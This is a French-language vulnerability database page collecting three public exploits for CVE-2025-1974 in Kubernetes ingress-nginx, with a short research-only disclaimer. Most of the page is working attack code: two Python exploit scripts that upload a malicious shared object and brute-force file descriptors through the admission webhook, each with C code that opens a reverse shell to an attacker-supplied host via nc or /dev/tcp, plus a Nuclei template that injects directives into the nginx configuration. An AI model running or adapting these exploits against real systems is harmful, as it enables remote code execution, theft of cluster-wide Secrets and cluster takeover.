Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2025-1974

CRITICAL

3 exploit(s) public(s) pour cette CVE, 3 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB remote multiple Vérifié
Source

Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)

Par Likhith Appalaneni

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974

1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c

2) Run the exploit:
python3 exploit.py

The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.

<---> shell.c <--->

#include <stdlib.h>
__attribute__((constructor)) void init() {
   system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'");
}

<---> shell.c <--->
<---> exploit.py <--->

import json
import requests
import threading
import time
import urllib3
import socket
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def upload_shell_via_socket(file_path, target_host, target_port):
    print("[*] Uploading shell.so via raw socket to keep FD open...")
    try:
        with open(file_path, "rb") as f:
            data = f.read()
        data += b"\x00" * (16384 - len(data) % 16384)
        content_len = len(data) + 2024

        payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_host, target_port))
        sock.sendall(payload)
        print("[*] Payload sent, holding connection open for 220s...")
        time.sleep(220)
        sock.close()
    except Exception as e:
        print(f"[!] Upload failed: {e}")

def build_payload(pid, fd):
    annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
    return {
        "kind": "AdmissionReview",
        "apiVersion": "admission.k8s.io/v1",
        "request": {
            "uid": "exploit-uid",
            "kind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "resource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "requestKind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "requestResource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "name": "example-ingress",
            "operation": "CREATE",
            "userInfo": {
                "username": "kube-review",
                "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
            },
            "object": {
                "kind": "Ingress",
                "apiVersion": "networking.k8s.io/v1",
                "metadata": {
                    "name": "example-ingress",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/auth-url": annotation
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [
                        {
                            "host": "hello-world.com",
                            "http": {
                                "paths": [
                                    {
                                        "path": "/",
                                        "pathType": "Prefix",
                                        "backend": {
                                            "service": {
                                                "name": "web",
                                                "port": { "number": 8080 }
                                            }
                                        }
                                    }
                                ]
                            }
                        }
                    ]
                }
            },
            "oldObject": None,
            "dryRun": False,
            "options": {
                "kind": "CreateOptions",
                "apiVersion": "meta.k8s.io/v1"
            }
        }
    }

def send_requests(admission_url, pid_range, fd_range):
    for pid in range(pid_range[0], pid_range[1]):
        for fd in range(fd_range[0], fd_range[1]):
            print(f"Trying /proc/{pid}/fd/{fd}")
            payload = build_payload(pid, fd)
            try:
                resp = requests.post(
                    f"{admission_url}/networking/v1/ingresses",
                    headers={"Content-Type": "application/json"},
                    data=json.dumps(payload),
                    verify=False,
                    timeout=5
                )
                result = resp.json()
                msg = result.get("response", {}).get("status", {}).get("message", "")
                if "No such file" in msg or "Permission denied" in msg:
                    continue
                print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
    parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
    parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
    parser.add_argument("--pid-start", type=int, default=26)
    parser.add_argument("--pid-end", type=int, default=30)
    parser.add_argument("--fd-start", type=int, default=1)
    parser.add_argument("--fd-end", type=int, default=100)
    args = parser.parse_args()

    host = args.upload_url.split("://")[-1].split(":")[0]
    port = int(args.upload_url.split(":")[-1])

    upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
    upload_thread.start()
    time.sleep(3)
    send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
    upload_thread.join()

<---> exploit.py <--->
Nuclei critical Vérifié
Source

Ingress-Nginx Controller - Remote Code Execution

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2025-1974 -u https://your-target

Template yaml

id: CVE-2025-1974

info:
  name: Ingress-Nginx Controller - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch,UNC1739
  severity: critical
  description: |
    A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)
  impact: |
    Vulnerable versions of Ingress-Nginx controller can be exploited to gain unauthorized access to all secrets across namespaces in the Kubernetes cluster, potentially leading to complete cluster takeover.
  remediation: |
    Update to one of the following versions: Version 1.12.1 or later / Version 1.11.5 or later
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1974
    - https://https://github.com/kubernetes/kubernetes/issues/131009
    - https://github.com/eeeeeeeeee-code/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-1974
    cwe-id: CWE-653
    epss-score: 0.99525
    epss-percentile: 0.99943
  metadata:
    verified: true
    max-request: 1
    shodan-query: ssl:"ingress-nginx" port:8443
  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,vuln

variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "kind": "AdmissionReview",
          "apiVersion": "admission.k8s.io/v1",
          "request": {
            "uid": "{{string}}",
            "kind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "resource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "requestKind": {
              "group": "networking.k8s.io",
              "version": "v1",
              "kind": "Ingress"
            },
            "requestResource": {
              "group": "networking.k8s.io",
              "version": "v1",
              "resource": "ingresses"
            },
            "name": "test-{{randstr}}",
            "namespace": "default",
            "operation": "CREATE",
            "userInfo": {
              "uid": "{{string}}"
            },
            "object": {
              "kind": "Ingress",
              "apiVersion": "networking.k8s.io/v1",
              "metadata": {
                "name": "test-{{randstr}}",
                "namespace": "default",
                "creationTimestamp": null,
                "uid": "InjectTest#;\n\n}\n}\n}\nload_module test;",
                "annotations": {
                  "nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"
                }
              },
              "spec": {
                "ingressClassName": "nginx",
                "rules": [
                  {
                    "host": "test.example.com",
                    "http": {
                      "paths": [
                        {
                          "path": "/",
                          "pathType": "Prefix",
                          "backend": {
                            "service": {
                              "name": "kubernetes",
                              "port": {
                                "number": 443
                              }
                            }
                          }
                        }
                      ]
                    }
                  }
                ]
              },
              "status": {
                "loadBalancer": {}
              }
            },
            "oldObject": null,
            "dryRun": true,
            "options": {
              "kind": "CreateOptions",
              "apiVersion": "meta.k8s.io/v1"
            }
          }
        }
    matchers:
      - type: word
        part: body
        words:
          - 'AdmissionReview'
          - 'load_module'
          - 'directive is specified too late'
        condition: and
# digest: 4b0a00483046022100849ec13aeb683e948ceb2c585790928b692b96d73fce9eb7d4fa9bd7ae52d825022100cca99a5184ba05e92658d5dc572d9f87b3117e7c6a461c50b023349441386b1c:922c64590222798bb761d5b6d8e72950
ExploitDB remote multiple
Source

Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE

Par Beatriz Fresno Naumova

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

Code txt

# Exploit Title:  Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://kubernetes.io
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: Affects v1.10.0 to v1.11.1 (potentially others)
# Tested on: Ubuntu 22.04, RKE2 Kubernetes Cluster
# CVE: CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974

import os
import sys
import socket
import requests
import threading
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# --- Embedded malicious shared object template ---
MALICIOUS_C_TEMPLATE = """
#include <stdlib.h>

__attribute__((constructor))
void run_on_load() {
    system("bash -c 'bash -i >& /dev/tcp/HOST/PORT 0>&1'");
}

int bind(void *e, const char *id) {
    return 1;
}

void ENGINE_load_evil() {}

int bind_engine() {
    return 1;
}
"""

def compile_shared_library(host, port, output_file="evil_engine.so"):
    c_code = MALICIOUS_C_TEMPLATE.replace("HOST", host).replace("PORT", str(port))

    with open("evil_engine.c", "w") as f:
        f.write(c_code)

    print("[*] Compiling malicious shared object...")
    result = os.system("gcc -fPIC -Wall -shared -o evil_engine.so evil_engine.c -lcrypto")

    if result == 0:
        print("[+] Shared object compiled successfully.")
        return True
    else:
        print("[!] Compilation failed. Is gcc installed?")
        return False


def send_brute_request(admission_url, json_template, proc, fd):
    print(f"[*] Trying /proc/{proc}/fd/{fd}")
    path = f"proc/{proc}/fd/{fd}"
    payload = json_template.replace("REPLACE", path)

    headers = {"Content-Type": "application/json"}
    url = admission_url.rstrip("/") + "/admission"

    try:
        response = requests.post(url, data=payload, headers=headers, verify=False, timeout=5)
        print(f"[+] Response for /proc/{proc}/fd/{fd}: {response.status_code}")
    except Exception as e:
        print(f"[!] Error on /proc/{proc}/fd/{fd}: {e}")


def brute_force_admission(admission_url, json_file="review.json", max_proc=50, max_fd=30, max_workers=5):
    try:
        with open(json_file, "r") as f:
            json_data = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {json_file} not found.")
        return

    print("[*] Starting brute-force against the admission webhook...")
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        for proc in range(1, max_proc):
            for fd in range(3, max_fd):
                executor.submit(send_brute_request, admission_url, json_data, proc, fd)


def upload_shared_library(ingress_url, shared_object="evil_engine.so"):
    try:
        with open(shared_object, "rb") as f:
            evil_payload = f.read()
    except FileNotFoundError:
        print(f"[!] Error: {shared_object} not found.")
        return

    parsed = urlparse(ingress_url)
    host = parsed.hostname
    port = parsed.port or 80
    path = parsed.path or "/"

    try:
        sock = socket.create_connection((host, port))
    except Exception as e:
        print(f"[!] Failed to connect to {host}:{port}: {e}")
        return

    fake_length = len(evil_payload) + 10
    headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: qmx-ingress-exploiter\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {fake_length}\r\n"
        f"Connection: keep-alive\r\n\r\n"
    ).encode("iso-8859-1")

    print("[*] Uploading malicious shared object to ingress...")
    sock.sendall(headers + evil_payload)

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk

    print("[*] Server response:\n")
    print(response.decode(errors="ignore"))
    sock.close()


def main():
    if len(sys.argv) != 4:
        print("Usage: python3 exploit.py <ingress_url> <admission_webhook_url> <rev_host:port>")
        sys.exit(1)

    ingress_url = sys.argv[1]
    admission_url = sys.argv[2]
    rev_host_port = sys.argv[3]

    if ':' not in rev_host_port:
        print("[!] Invalid format for rev_host:port.")
        sys.exit(1)

    host, port = rev_host_port.split(":")

    if not compile_shared_library(host, port):
        sys.exit(1)

    # Send the malicious shared object and keep the connection open
    upload_thread = threading.Thread(target=upload_shared_library, args=(ingress_url,))
    upload_thread.start()

    # Simultaneously brute-force the admission webhook for valid file descriptors
    brute_force_admission(admission_url)


if __name__ == "__main__":
    main()